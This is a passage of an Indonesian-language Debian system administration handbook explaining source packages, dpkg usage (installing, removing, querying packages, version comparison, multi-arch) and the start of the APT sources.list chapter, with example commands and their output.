Anda juga dapat menggunakan apt untuk mengunduh paket sumber dan membuka kemasannya saat itu juga. Hal ini memerlukan baris deb-src yang sesuai di berkas /etc/apt/sources.list, akan tetapi (untuk detail lebih jauh, lihat Bagian 6.1, “Mengisi Berkas sources.list”). Hal ini diperlukan untuk mendaftar “sumber” paket sumber (maksudnya server di mana kelompok paket sumber di simpan).

$ apt source package

Reading package lists... Done

Selected version '0.68-1' (stable) for zim

NOTICE: 'zim' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/debian/zim.git

Please use:

git clone https://salsa.debian.org/debian/zim.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 2055 kB of source archives.

Get:1 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (dsc) [1586 B]

Get:2 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (tar) [2044 kB]

Get:3 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (diff) [9300 B]

Fetched 2055 kB in 1s (3356 kB/s)

dpkg-source: info: extracting zim in zim-0.68

dpkg-source: info: unpacking zim_0.68.orig.tar.gz

dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

5.3.2. Penggunaannya dalam Debian

Paket sumber adalah dasar dari segalanya di Debian. Seluruh paket Debian datang dari paket sumber, dan setiap perubahan dalam paket Debian ialah konsekuensi dari modifikasi yang dibuat untuk paket sumber. Maintainer Debian bekerja dengan paket sumber, mengatahui, namun, konsekuensi aksi mereka pada paket binernya. Buah dari pekerjaan mereka ialah yang ditemukan di paket sumber yang tersedia dari Debian: Anda dapat dengan mudah kembali ke mereka dan apapun berasal dari mereka.

Ketika versi baru sebuah paket (paket sumber dan satu atau lebih paket biner) ada di server Debian, paket sumberlah yang paling penting. Sebenarnya, ini akan digunakan oleh jaringan mesin yang berbeda arsitekturnya untuk dikompilasi di berbagai arsitektur yang didukung oleh Debian. Kenyataannya pengembang juga mengirim satu atau beberapa paket biner untuk arsitektur khusus (biasanya i386 atau amd64) relatif tidak penting, karena hal ini juga telah dihasilkan secara otomatis.

→ https://buildd.debian.org/

LEBIH JAUH Unggahan maintainer hanya sumber

Tepat setelah rilis Debian 10 Buster, Tim Rilis mengumumkan bahwa unggahan biner pengelola tidak akan lagi diterima untuk main dan semua paket biner dalam komponen ini akan dibangun secara otomatis dari unggahan hanya-sumber wajib.

5.4. Manipulasi Paket dengan dpkg

dpkg adalah perintah dasar untuk menangani paket Debian pada sistem. Jika Anda memiliki paket .deb, adalah dpkg yang mengizinkan instalasi atau analisa isinya. Namun program ini hanya memiliki sebagaian pandangan pada dunia Debian: dia tau apa yang terinstall di sistem, dan apapun yang diberikan di baris perintah, namun tidak mengetahui paket lain yang tersedia. Dengan demikian, dia akan gagal jika ketergantungan tidak dipenuhi. Alat semacam apt dan aptitude, sebaliknya, akan membuat daftar ketergantungan untuk menginstall apapun seotomatis mungkin.

CATATAN dpkg atau apt?

dpkg harus dilihat sebagai alat sistem (backend>, dan apt sebagai sebuah alat yang paling dekat dengan pengguna, yang mengatasi batasan sebelumnya. Alat-alat ini bekerja bersama-sama, setiap kekhasannya, berlaku untuk tugas khusus.

5.4.1. Menginstall Paket

dpkg ialah, semua yang di atas, alat untuk menginstall paket Debian yang telah ada (karena dia tidak mengunduh apapun). Untuk melakukannya, kita menggunakan pilihan -i atau --install.

Contoh 5.2. Instalasi sebuah paket dengan dpkg

# dpkg -i man-db_2.8.5-2_amd64.deb

(Reading database ... 14913 files and directories currently installed.)

Preparing to unpack .../man-db_2.8.5-2_amd64.deb ...

Unpacking man-db (2.8.5-2) over (2.8.5-2) ...

Setting up man-db (2.8.5-2) ...

Updating database of manual pages ...

Processing triggers for mime-support (3.62) ...

Kita dapat melihat perbedaan langkah yang dilakukan oleh dpkg; kita tahu, pada titik apa kerusakan akan terjadi. Instalasi juga dapat berakibat pada dua langkah: pertama pembongkaran, kemudian konfigurasi. apt mengambil manfaat ini, membatasi jumlah panggilan ke dpkg (karena setiap panggilan itu berharga, disebabkan oleh pemuatan basisdata di memori, khususnya daftar paket yang telah terinstall).

Contoh 5.3. Memisahkan unpacking dan konfigurasi

# dpkg --unpack man-db_2.8.5-2_amd64.deb

(Reading database ... 14937 files and directories currently installed.)

Preparing to unpack man-db_2.8.5-2_amd64.deb ...

Unpacking man-db (2.8.5-2) over (2.8.5-2) ...

Processing triggers for mime-support (3.62) ...

# dpkg --configure man-db

Setting up man-db (2.8.5-2) ...

Updating database of manual pages ...

Terkadang dpkg gagal menginstall paket dan menghasilkan error; jika pengguna memerintahkan untuk mengabaikannya, ini hanya akan menghasilkan peringatan; untuk alasan inilah kita memiliki pilihan --force-* yang berbeda. Perintah dpkg --force-help, atau dokumentasi perintah ini, akan memberikan daftar lengkap pilihan tersebut. Error yang sering, yang akan Anda temukan cepat atau lambat, ialah tabrakan berkas. Ketika sebuah paket berisi berkas yang telah terinstall oleh paket lain, dpkg akan menolak menginstallnya. Persan berikut kemudian akan nampak:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...

dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):

trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

Dalam kasus ini, jika Anda merasa bahwa mengganti berkas ini bukan resiko yang signifikan pada stabilitas sistem Anda (yang merupakan kasus umumnya), Anda dapat menggunakan pilihan --force-overwrite, meminta dpkg untuk mengabaikan kesalahan dan meng-overwrite berkas tersebut.

Ada banyak pilihan --force-* yang tersedia, hanya --force-overwrite yang mungkin paling sering digunakan. Pilihan ini hanya ada untuk situasi khusus, dan sebaiknya mengabaikannya sebisa mungkin untuk menghormati peraturan yang dibuat oleh mekanisme paket. Jangan lupa, peraturan ini untuk memastikan konsistensi dan stabilitas sistem Anda.

PERHATIAN Efektivitas penggunaan --force-*

Jika Anda tidak berhati-hati, penggunaan pilihan --force-* dapat berakibat ke sistem di mana perintah dari keluarta APT tidak akan berfungsi. Efeknya, beberapa pilihan ini mengizinkan instalasi sebuah paket ketika ketergantungan tidak dipenuhi, atau ketika ada konflik. Hasilnya ialah sistem yang tak konsisten dari sudut pandang ketergantungan, dan perintah APT tidak akan mengeksekusi aksi kecuali yang akan mengembalikan sistem kembali ke kondisi konsisten (hal in sering berupa instalasi ketergantungan yang hilang atau menghapus paket bermasalah). Hal ini sering menghasilkan pesan seperti yang satu ini, didapatkan setelah instalasi versi baru rdesktop ketika mengabaikan ketergantungannya pada versi baru libc6:

# apt full-upgrade

[...]

You might want to run 'apt-get -f install' to correct these.

The following packages have unmet dependencies:

rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: Unmet dependencies. Try using -f.

Seorang administrator yang berani yakin akan kebenaran analisanya mungkin akan memilih untuk mengabaikan ketergantungan atau konflik dan menggunakan pilihan --fore-*. Dalam kasus ini, jika meraka ingin dapat melanjutkan menggunakan apt atau aptitude, mereka harus menyunting /var/lib/dpkg/status untuk menghapus/memodifikasi ketergantungan, atau konflik, yang mereka pilih untuk dikesampingkan.

Manipulasi ini ialah hacking yang buruk, dan sebaiknya tidak pernah digunakan, kecuali pada kasus keadaan yang paling ekstrim. Cukup sering, solusi yang paling tepat adalah mengompilasi ulang paket yang menyebabkan masalah (lihat Bagian 15.1, “Membangun ulang sebuah Paket dari Source-nya”) atau gunakan versi terbaru (kemungkinan telah diperbaiki) dari repositori seperti salah satunya stable-backports (lihat Bagian 6.1.2.4, “Backport Stable”).

5.4.2. Penghapusan Paket

Menjalankan dpkg dengan pilihan -r atau --remove, diikuti dengan nama paket, menghapus paket tersebut. Akan tetapi, penghapusan ini tidak lengkap: seluruh berkas konfigurasi, skrip maintainer, berkas-berkas log (sistem log) dan data pengguna lain ditangani oleh paket tertinggal. Oleh sebab itu, menonaktifkan program dapat dilakukan dengan meng-uninstall-nya, dan masih memungkinkan menginstall ulangnya dengan cepat menggunakan konfigurasi yang sama. Untuk menghapus apapun yang berhubungan dengan sebuah paket, gunakan pilihan -P or --purge, diikuti dengan nama paket.

Contoh 5.4. Menghapus dan purge paket debian-cd

# dpkg -r debian-cd

(Reading database ... 15915 files and directories currently installed.)

Removing debian-cd (3.1.25) ...

# dpkg -P debian-cd

(Reading database ... 15394 files and directories currently installed.)

Purging configuration files for debian-cd (3.1.25) ...

5.4.3. Melakukan Queri ke Basisdata dpkg dan Memeriksa Berkas .deb

KEMBALI KE DASAR Syntax pilihan

Kebanyakan pilihan tersedia dalam versi “panjang” (satu atau lebih kata yang sesuai, didahului oleh dua tanda hubung) dan versi “pendek” (satu huruf, seringkali berupa awalan huruf dari versi panjangnya, didahului oleh satu tanda hubung). Ini meruupakan kaidah umum yang berupa standar POSIX.

Sebelum menyimpulkan bagian ini, kita akan memelajari pilihan dpkg yang melakukan query ke basisdata internal agar mendapatkan informasi. Pertama memberikan pilihan panjang dan kemudian pilihan pendeknya yang sesuai (yang pastinya akan memiliki argumen yang sama) kita kutip --listfiles paket (atau -L), menampilkan daftar berkas yang terinstall oleh paket tersebut; --search berkas (atau -S), mencari paket yang berisi berkas tersebut; --status paket (atau -s), menampilkan header sebuah paket yang terinstall; --list (atau -l), menampilkan daftar paket yang diketahui sistem dan status instalasinya; --contents berkas.deb (atau -c), menampilkan daftar berkas dalam paket Debian yang ditentukan; --info berkas.deb (atau -I), menampilkan header paket Debian tersebut.

CATATAN dpkg --search dan /usr yang tergabung

Untuk berbagai alasan, Debian sekarang menginstal secara default beberapa direktori tingkat atas sebagai symlink ke rekan-rekan mereka di bawah /usr. Misalnya, /bin, /sbin, dan /lib sekarang symlink ke, masing-masing, /usr/bin, /usr/sbin, dan /usr/lib.

Sementara ini memberikan manfaat yang diinginkan, itu juga bisa menjadi sumber kebingungan. Misalnya, ketika Anda bertanya ke dpkg paket mana yang memiliki berkas tertentu, itu hanya akan dapat menjawab ketika Anda menanyakan path aslinya:

$ dpkg --search /bin/mount

mount: /bin/mount

$ dpkg --search /usr/bin/mount

dpkg-query: no path found matching pattern /usr/bin/mount

$ dpkg --search /bin/apt

dpkg-query: no path found matching pattern /bin/apt

$ dpkg --search /usr/bin/apt

apt: /usr/bin/apt

Contoh 5.5. Berbagai queri dengan dpkg

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/base-passwd

/usr/share/base-passwd/group.master

/usr/share/base-passwd/passwd.master

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/README

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/man

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 15719

Maintainer: Michael Stone <mstone@debian.org>

Architecture: amd64

Multi-Arch: foreign

Version: 8.30-3

Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libselinux1 (>= 2.1.13)

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt

od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm

rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac

tail tee test timeout touch tr true truncate tsort tty uname unexpand

uniq unlink users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*'

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name                       Version              Architecture Description

+++-====================-===============-===============-==================================================

un  backupninja          <none>          <none>          (no description available)

un  backuppc             <none>          <none>          (no description available)

un  baobab               <none>          <node>          (no description available)

un  base                 <none>          <none>          (no description available)

un  base-config          <none>          <none>          (no description available)

ii  base-files           11              amd64           Debian base system miscellaneous files

ii  base-passwd          3.5.46          amd64           Debian base system master password and group files

ii  bash                 5.0-4           amd64           GNU Bourne Again SHell

[..]

$ dpkg -c /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb

drwxr-xr-x root/root         0 2018-12-15 02:17 ./

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/bin/

-rwxr-xr-x root/root      3516 2018-12-15 02:17 ./usr/bin/gpg-zip

-rwxr-xr-x root/root    866256 2018-12-15 02:17 ./usr/bin/gpgcompose

-rwxr-xr-x root/root     30792 2018-12-15 02:17 ./usr/bin/gpgparsemail

-rwxr-xr-x root/root     84432 2018-12-15 02:17 ./usr/bin/gpgsplit

-rwxr-xr-x root/root    154952 2018-12-15 02:17 ./usr/bin/gpgtar

-rwxr-xr-x root/root    166568 2018-12-15 02:17 ./usr/bin/kbxutil

-rwxr-xr-x root/root      1081 2017-08-28 12:22 ./usr/bin/lspgpot

-rwxr-xr-x root/root      2194 2018-11-18 23:37 ./usr/bin/migrate-pubring-from-classic-gpg

-rwxr-xr-x root/root    121576 2018-12-15 02:17 ./usr/bin/symcryptrun

-rwxr-xr-x root/root     18424 2018-12-15 02:17 ./usr/bin/watchgnupg

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/sbin/

-rwxr-xr-x root/root      3075 2018-12-15 02:17 ./usr/sbin/addgnupghome

-rwxr-xr-x root/root      2217 2018-12-15 02:17 ./usr/sbin/applygnupgdefaults

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/share/

drwxr-xr-x root/root         0 2018-12-15 02:17 ./usr/share/doc/

[...]

$ dpkg -I /var/cache/apt/archives/gnupg-utils_2.2.12-1_amd64.deb

new Debian package, version 2.0.

size 857408 bytes: control archive=1844 bytes.

1564 bytes,    32 lines      control

1804 bytes,    28 lines      md5sums

Package: gnupg-utils

Source: gnupg2

Version: 2.2.12-1

Architecture: amd64

Maintainer: Debian GnuPG Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>

Installed-Size: 1845

Depends: libassuan0 (>= 2.0.1), libbz2-1.0, libc6 (>= 2.25), libgcrypt20 (>= 1.8.0), libgpg-error0 (>= 1.26-2~), libksba8 (>= 1.3.4), libreadline7 (>= 6.0), zlib1g (>= 1:1.1.4)

Recommends: gpg, gpg-agent, gpgconf, gpgsm

Breaks: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)

Replaces: gnupg (<< 2.1.21-4), gnupg-agent (<< 2.1.21-4)

Section: utils

Priority: optional

Multi-Arch: foreign

Homepage: https://www.gnupg.org/

Description: GNU privacy guard - utility programs

GnuPG is GNU's tool for secure communication and data storage.

.

This package contains several useful utilities for manipulating

OpenPGP data and other related cryptographic elements.  It includes:

.

* addgnupghome -- create .gnupg home directories

* applygnupgdefaults -- run gpgconf --apply-defaults for all users

* gpgcompose -- an experimental tool for constructing arbitrary

sequences of OpenPGP packets (e.g. for testing)

* gpgparsemail -- parse an e-mail message into annotated format

* gpgsplit -- split a sequence of OpenPGP packets into files

* gpgtar -- encrypt or sign files in an archive

* kbxutil -- list, export, import Keybox data

* lspgpot -- convert PGP ownertrust values to GnuPG

* migrate-pubring-from-classic-gpg -- use only "modern" formats

* symcryptrun -- use simple symmetric encryption tool in GnuPG framework

* watchgnupg -- watch socket-based logs

[..]

LEBIH JAUH Perbandingan versi

Karena dpkg merupakan program untuk menangani paket Debian, program ini juga menyediakan referensi implementasi logika perbandingan nomor versi. Oleh karena itu, program ini memiliki pilihan --compare-versions, dapat digunakan oleh program eksternal (khususnya skrip konfigurasi yang dieksekusi oleh dpkg itu sendiri). Pilihan ini memerlukan tiga parameter: nomor versi, operator perbandingan, dan nomor versi kedua. Perbedaan operasi yang mungkin ialah lt (kurang dari), le (kurang dari atau sama dengan), eq (sama dengan), ne (tidak sama dengan), ge (lebih besar atau sama dengan), dan gt (lebih besar dari). Jika perbandingan benar, dpkg menghasilkan 0 (sukses); jika tidak, akan menghasilkan nilai non-zero (menandakan kegagalan).

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

Catat kesalahan yang tidak diinginkan pada perbandingan terakhir: untuk dpkg, pre, biasanya menandakan pre-release, tidak memiliki makna khusus, program ini membandingkan karakter alfabetis dengan cara yang sama dengan angka (a < b < c ...), dalam urutan alfabet. Karenanya “0pre3” lebih besar dari “0”. Ketika kita ingin nomor versi paket menunjukkan bahwa pre-release, kita menggunakan karakter tilde, “~”:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. Berkas Log dpkg

dpkg menyimpan semua log aksi-aksinya di /var/log/dpkg.log. Log ini sangat ramai, mendetail setiap langkah melalui setiap paket yang ditangai oleh dpkg. Menawarkan sebuah cara untuk melacak tingkah lagu dpkg, membantu, seluruhnya di atas, untuk menyimpan sejarah pengembangan sistem: salah satunya dapat menemukan momen yang tepat ketika setiap paket terinstall atau diperbaharui, dan informasi ini dapat menjadi sangat berguna dalam memahami perubahan terakhir dalam tingkah lakunya. Dan lagi, semua versi sedang direkam, sangat mudah untuk cross-check informasi dengan changelog.Debian.gz untuk paket yang diminta, atau bahkan dengan laporan kutu daring.

5.4.5. Dukungan Multi-Arch

Semua paket Debian memiliki sebuah field Architecture dalam informasi control mereka. Field ini dapat berisi antara “all” (untuk paket yang arsitekturnya independen) atau nama arsitektur targetnya (seperti “amd64”, “armhf”, …). Dalam kasus terakhir, secara bawaan, dpkg hanya akan menerima untuk menginstall paket jika arsitekturnya cocok dengan arsitektur host sebagaimana yang dihasilkan oleh dpkg --print-architecture.

Batasan ini memastikan bahwa pengguna tidak berakhir dengan berkas biner yang dikompilasi untuk arsitektur yang salah. Segalanya akan menjadi sempurna kecuali (beberapa) komputer dapat menjalankan berkas biner untuk arsitektur yang bermacam-macam, atau secara native (sebuah sistem “amd64“ dapat menjalankan biner “i386”) atau melalui emulator.

5.4.5.1. Mengaktifkan Multi-Arch

Dukungan multi-arch dpkg mengizinkan pengguna untuk menentukan “arsitektur asing” yang dapat diinstall pada sistem terkini. Hal ini dapat dengan mudah dilakukan dengan dpkg --add-architecture seperti contoh di bawah ini. Ada dpkg --remove-architecture yang sesuai untuk menghilangkah dukungan ke arsitektur asing, namun hanya dapat digunakan ketika tidak ada paket dengan arsitektur ini.

# dpkg --print-architecture

amd64

# dpkg --print-foreign-architectures

# dpkg -i gcc-8-base_8.3.0-6_armhf.deb

dpkg: error processing archive gcc-8-base_8.3.0-6_armhf.deb (--install):

package architecture (armhf) does not match system (amd64)

Errors were encountered while processing:

gcc-8-base_8.3.0-6_armhf.deb

# dpkg --add-architecture armhf

# dpkg --add-architecture armel

# dpkg --print-foreign-architectures

armhf

armel

# dpkg -i gcc-8-base_8.3.0-6_armhf.deb

(Reading database ... 14319 files and directories currently installed.)

Preparing to unpack gcc-8-base_8.3.0-6_armhf.deb ...

Unpacking gcc-8-base:armhf (8.3.0-6) ...

Setting up gcc-8-base:armhf (8.3.0-6) ...

# dpkg --remove-architecture armhf

dpkg: error: cannot remove architecture 'armhf' currently in use by the database

# dpkg --remove-architecture armel

# dpkg --print-foreign-architectures

armhf

CATATAN Dukungan multi-arch APT

APT akan secara otomatis mendeteksi ketika dpkg telah dikonfigurasi untuk mendukung arsitektur asing dan akan memulai mengunduh berkas Paket yang sesuai selama proses pembaharuannya.

Paket asing kemudian dapat diinstall dengan apt install paket:arsitektur.

DALAM PRAKTEKNYA Menggunakan biner i386 proprietary pada amd64

Ada banyak kasus penggunaan multi-arch, namun yang paling umum ialah kemungkinan untuk mengeksekusi (terkadang proprietari) biner 32 bit (i386) pada sistem 64 bit (amd64), dan kemungkinan cross-compile perangkat lunak untuk suatu platform atau suatu arsitektur yang berbeda dengan host.

5.4.5.2. Perubahan Terkait Multi-Arch

Untuk membuat multi-arch benar-benar dapat berguna dan bermanfaat, pustaka harus dipaketkan ulang dan dipindahkan ke arsitektur-spesifik agar beberapa salinan (menargetkan arsitektur yang berbeda) dapat diinstall bersamaan. Seperti pembaruan paket berisi field header “Multi-Arch: same” untuk memberitahu sistem pemaketan bahwa berbagai arsitektur paket dapat diinstall bersamaan (dan paket tersebut hanya dapat memenuhi ketergantungan paket dengan arsitektur yang sama). Pustaka-pustaka paling penting telah dikonversi sejak diperkenalkannya multi-arch di Debian 7 Wheezy, tapi ada banyak pustaka yang mungkin tidak akan pernah dikonversi kecuali seseorang memintanya secara spesifik (melalui laporan bug misalnya).

$ dpkg -s gcc-8-base

dpkg-query: error: --status needs a valid package name but 'gcc-8-base' is not: ambiguous package name 'gcc-8-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-8-base:amd64 gcc-8-base:armhf | grep ^Multi

Multi-Arch: same

Multi-Arch: same

$ dpkg -L libgcc1:amd64 |grep .so

/lib/x86_64-linux-gnu/libgcc_s.so.1

$ dpkg -S /usr/share/doc/gcc-8-base/copyright

gcc-8-base:amd64, gcc-8-base:armhf: /usr/share/doc/gcc-8-base/copyright

Tidak pantas bahwa paket Multi-Arch: same harus memiliki nama yang dipenuhi dengan arsitekturnya dapat diidentifikasi tak membingungkan. Mereka juga memiliki kemungkinan untuk berbagi berkas dengan instance lain dari paket yang sama; dpkg memastikan bahwa seluruh paket memiliki bit-untuk-bit berkas-berkas identik ketika mereka berbagi. Tidak kurang pentingnya, seluruh instance paket harus memiliki versi yang sama. Mereka harus diperbaharui bersama-sama.

Dukungan Multi-Arch juga membawa beberapa tantangan yang menarik dalam cara ketergantungan ditangani. Memenuhi ketergantungan memerlukan antara paket yang ditandai “Multi-Arch: foreign” atau paket yang arsitekturnya cocok dengan salah satu paket yang menyatakan ketergantungannya (dalam proses pemenuhan ketergantungan ini, paket independen-arsitektur diasumsikan sama dengan arsitektur host). Ketergantungan juga dapat dilemahkan untuk mengizinkan berbagai arsitektur untuk memenuhinya, dengan siktaks package:any, namun paket asing hanya dapat memenuhi sebuah ketergantungan jika mereka ditandai “Multi-Arch: allowed”.

5.5. Kebersamaan dengan Sistem Paket Lain

Paket Debian bukan hanya satu-satunya paket perangkat lunak yang digunakan dalam dunia perangkat lunak bebas. Kompetitor utamanya ialah format RPM dari distribusi Linux Red Hat dan banyak keturunannya. Red Hat sangat populer, distribusi komersial. Perangkat lunak yang disediakan oleh pihak ketiga umumnya ditawarkan sebagai paket RPM daripada Debian.

Dalam kasus ini, Anda harus tahu program rpm, yang menangani paket RPM, tersedia sebagai sebuah paket Debian, jadi memungkinkan untuk menggunakan format paket ini di Debian. Kepedulian harus diambil, akan tetapi, untuk membatasi manipulasi ini untuk mengekstrak informasi dari sebuah paket atau verifikasi integritasnya. Sebenarnya, tak beralasan untuk menggunakan rpm untuk menginstall sebuah paket RPM pada sistem Debian; RPM menggunakan basisdatanya sendiri, terpisah dari perangkat lunak aslinya (seperti dpkg). Oleh karenanya, tidak mungkin untuk memastikan stabilitas kebersamaan dua sistem pemaketan.

Di samping itu, utilitas alien dapat mengonversi paket RPM ke paket Debian, dan sebaliknya.

KOMUNITAS Menganjurkan adopsi dari .deb

Jika Anda sering menggunakan program alien untuk menginstall paket RPM dari salah satu provider anda, jangan ragu untuk menulis buat mereka dan ekspresikan preferensi Anda secara damai untuk format .deb. Catat bahwa format paket bukanlah segalanya: sebuah paket .deb dibangun dengan alien atau yang dipersiapkan untuk versi Debiannya berbeda dengan yang Anda gunakan, atau bahkan untuk distribusi turunan seperti Ubuntu, mungkin tidak menawarkan level kualitas dan integrasi sebagai paket yang dikembangkan secara spesifik untuk Debian Buster.

$ fakeroot alien --to-deb phpMyAdmin-4.7.5-2.fc28.noarch.rpm

phpmyadmin_4.7.5-3_all.deb generated

$ ls -s phpmyadmin_4.7.5-3_all.deb

4356 phpmyadmin_4.7.5-3_all.deb

Anda akan tahu bahwa proses ini sangatlah sederhana. Anda harus tahu, akan tetapi, bahwa paket yang dihasilkan tidak memiliki informasi ketergantungan, karena ketergantungan dalam dua format pemaketan tidak memiliki korespondensi yang sistematis. Administrator harus memastikan secara manual bahwa paket yang dikonversi dapat berfungsi dengan benar, dan itulah kenapa paket Debian yang di-generate dihindari sebisa mungkin. Untungnya, Debian memiliki koleksi paling banyak paket perangkat lunak dari seluruh distribusi, dan sepertinya apapun yang Anda cari telah ada di sana.

Melihat man page untuk perintah alien, Anda juga akan mencatat bahwa program ini menangani format pemaketan lain, khususnya satu yang digunakan oleh distribusi Slackware (membuat arsip tar.gz sederhana).

Stabilitas perangkat lunak yang disebar menggunakan peralatan dpkg berkontribusi ke popularitas Debian. Peralatan APT suite, dijelaskan pada bab berikutnya, menjaga manfaatnya, yang membantu administrator mengatur status paket, perlu namun tugas yang sulit.

Bab 6. Pemeliharaan dan Pembaharuan: Peralatan APT

Apa yang membuat Debian populer dengan administrator ialah bagaimana perangkat lunak dengan mudah dapat diinstall dan bagaimana seluruh sistem dapat diperbaharui dengan mudah. Keunggulan unik ini umumnya dikarenakan program APT, yang dipelajari oleh administrator Falcot dengan antusias.

APT merupakan singkatan dari Advanced Package Tool. Apa yang membuat program ini “canggih” adalah pendekatannya ke paket. Tidak mengevaluasinya satu per satu, namun menganggap sebagai seluruhnya dan menghasilkan kombinasi terbaik dari paket tergantung dari apa yang tersedia dan kecocokan berdasarkan ketergantungan.

KOSAKATA Paket sumber dan sumber paket

Kata sumber dapat menjadi ambigu. "Paket sumber" — sebuah paket berisi kode sumber program — tidak seharusnya dirancukan dengan sebuah "sumber paket" — sebuah repositori (situs web, server FTP, CD-ROM, direktori lokal, dll.) yang berisi paket-paket.

APT perlu diberi sebuah "daftar sumber paket (repositori)": berkas /etc/apt/sources.list akan mendaftar repositori yang berbeda yang menerbitkan paket Debian. APT akan mengimpor daftar paket yang diterbitkan oleh setiap sumber. Operasi ini dicapai dengan mengunduh berkas Packages.xz atau suatu varian seperti Packages.gz atau .bz2 (memakai metoda kompresi yang berbeda) dalam hal sumber paket biner dan dengan menganalisa isinya. Dalam kasus sumber dari paket sumber, APT mengunduh berkas Sources.xz atau suatu varian yang memakai metode kompresi yang berbeda. Ketika salinan lama berkas ini masih tersedia, APT dapat memerbaruinya dengan hanya mengunduh perbedaannya (lihat bilah tepi TIP Pembaruan inkremental).

KEMBALI KE DASAR Kompresi gzip, bzip2, LZMA dan XZ

Ekstensi .gz mengacu pada berkas yang dikompress dengan utilitas gzip. gzip merupakan utilitas Unix yang cepat dan efisien untuk mengompress berkas. Peralatan terbaru memiliki kemampuan kompresi yang lebih baik namun memerlukan sumber daya yang lebih (waktu penghitungan dan memori) untuk mengompress dan mengekstrak berkas. Di antaranya, berdasarkan urutan kemunculannya, ada bzip2 (menghasilkan berkas dengan ekstensi .bz2), lzma (menghasilkan berkas .lzma) dan xz (menghasilkan berkas .xz).

6.1. Mengisi Berkas sources.list

6.1.1. Sintaks

Setiap baris aktif dalam berkas /etc/apt/sources.list mewakili suatu sumber paket (repositori) dan disusun dari setidaknya tiga bagian yang dipisahkan oleh spasi. Untuk penjelasan lengkap tentang format berkas dan komposisi entri yang diterima, lihat sources.list(5).

Contoh 6.1. Contoh format entri dalam /etc/apt/sources.list

deb url distribusi komponen1 komponen2 komponen3 [..] komponenX

deb-src url distribusi komponen1 komponen2 komponen3 [..] komponenX

Field pertama menunjukkan tipe sumber:

deb

sumber paket (repositori) dari paket biner

deb-src

sumber paket (repositori) dari paket sumber

Field kedua memberikan URL dasar sumber. Dikombinasikan dengan nama berkas yang tercantum dalam berkas Packages.xz, ia harus memberikan URL lengkap dan valid. Ini dapat terdiri dari cermin Debian atau arsip paket lainnya yang disiapkan oleh pihak ketiga. URL dapat dimulai dengan file:// untuk menunjukkan sumber lokal yang diinstal dalam hierarki sistem berkas, dengan http:// atau https:// untuk menunjukkan sumber yang dapat diakses dari server web, atau dengan ftp:// atau ftps:// untuk sumber yang tersedia di server FTP. URL juga dapat dimulai dengan cdrom: untuk instalasi berbasis disk CD-ROM/DVD/Blu-ray, meskipun ini kurang sering, karena metode instalasi berbasis jaringan akhirnya lebih umum.

